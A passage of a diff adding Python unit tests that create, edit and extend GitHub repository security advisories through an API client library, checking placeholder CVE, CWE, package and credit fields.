advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-401", "CWE-502"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst"), ("JLLeitschuh", "reporter")], + ) + + def testUpdateRepositoryAdvisory(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.get_repository_advisory("GHSA-g45c-2crh-4xmp") + advisory.edit( + summary="A test updating a GHSA via the API", + description="This is an updated detailed description of this advisories impact and patches.", + severity_or_cvss_vector_string="low", + cve_id="CVE-2000-00001", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "c-package"}, + "vulnerable_version_range": "<=4.0.6", + "patched_versions": "4.0.7", + "vulnerable_functions": ["function-name-a"], + } + ], + cwe_ids=["CWE-402", "CWE-500"], + credits=[ + {"login": "octocat", "type": "sponsor"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + self.assertEqual(advisory.ghsa_id, "GHSA-g45c-2crh-4xmp") + self.assertEqual(advisory.summary, "A test updating a GHSA via the API") + self.assertEqual( + advisory.description, + "This is an updated detailed description of this advisories impact and patches.", + ) + self.assertEqual(advisory.severity, "low") + self.assertEqual(advisory.cve_id, "CVE-2000-00001") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "c-package"), "4.0.7", ["function-name-a"], "<=4.0.6")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-402", "CWE-500"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "sponsor"), ("JLLeitschuh", "reporter")], + ) + + def testUpdateSingleFieldDoesNotRemoveOtherFields(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + "A test editing a GHSA via the API with only a single manipulation", + "This is a detailed description of this advisories impact and patches.", + "high", + "CVE-2000-00000", + vulnerabilities=[ + { + "package": {"ecosystem": "npm", "name": "b-package"}, + "vulnerable_version_range": "<=4.0.4", + "patched_versions": "4.0.5", + "vulnerable_functions": ["function-name"], + } + ], + cwe_ids=["CWE-401", "CWE-502"], + credits=[ + {"login": "octocat", "type": "analyst"}, + {"login": "JLLeitschuh", "type": "reporter"}, + ], + ) + advisory.edit(description="A modified description") + self.assertEqual(advisory.ghsa_id, "GHSA-4wwp-8jp9-9233") + self.assertEqual( + advisory.summary, + "A test editing a GHSA via the API with only a single manipulation", + ) + self.assertEqual(advisory.description, "A modified description") + self.assertEqual(advisory.severity, "high") + self.assertEqual(advisory.cve_id, "CVE-2000-00000") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("npm", "b-package"), "4.0.5", ["function-name"], "<=4.0.4")], + ) + self.assertListKeyEqual( + advisory.cwe_ids, + lambda e: e, + ["CWE-401", "CWE-502"], + ) + self.assertListKeyEqual( + advisory.credits_detailed, + lambda e: (e.user.login, e.type), + [("octocat", "analyst"), ("JLLeitschuh", "reporter")], + ) + + def testAddVulnerability(self): + repo = self.g.get_repo("JLLeitschuh/code-sandbox") + advisory = repo.create_repository_advisory( + summary="A test creating a GHSA via the API adding and removing vulnerabilities", + description="Simple description", + severity_or_cvss_vector_string="low", + ) + advisory.add_vulnerability(ecosystem="maven") + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [(("maven", None), None, [], None)], + ) + advisory.add_vulnerability( + ecosystem="npm", + package_name="b-package", + vulnerable_version_range="<=4.0.9", + patched_versions="4.0.10", + vulnerable_functions=["function-name-c"], + ) + self.assertListKeyEqual( + advisory.vulnerabilities, + lambda e: ( + (e.package.ecosystem, e.package.name), + e.patched_versions, + e.vulnerable_functions, + e.vulnerable_version_range, + ), + [ + (("maven", None), None, [], None), + (("npm", "b-package"), "4.0.10", ["function-name-c"], "<=4.0.9"), + ], + )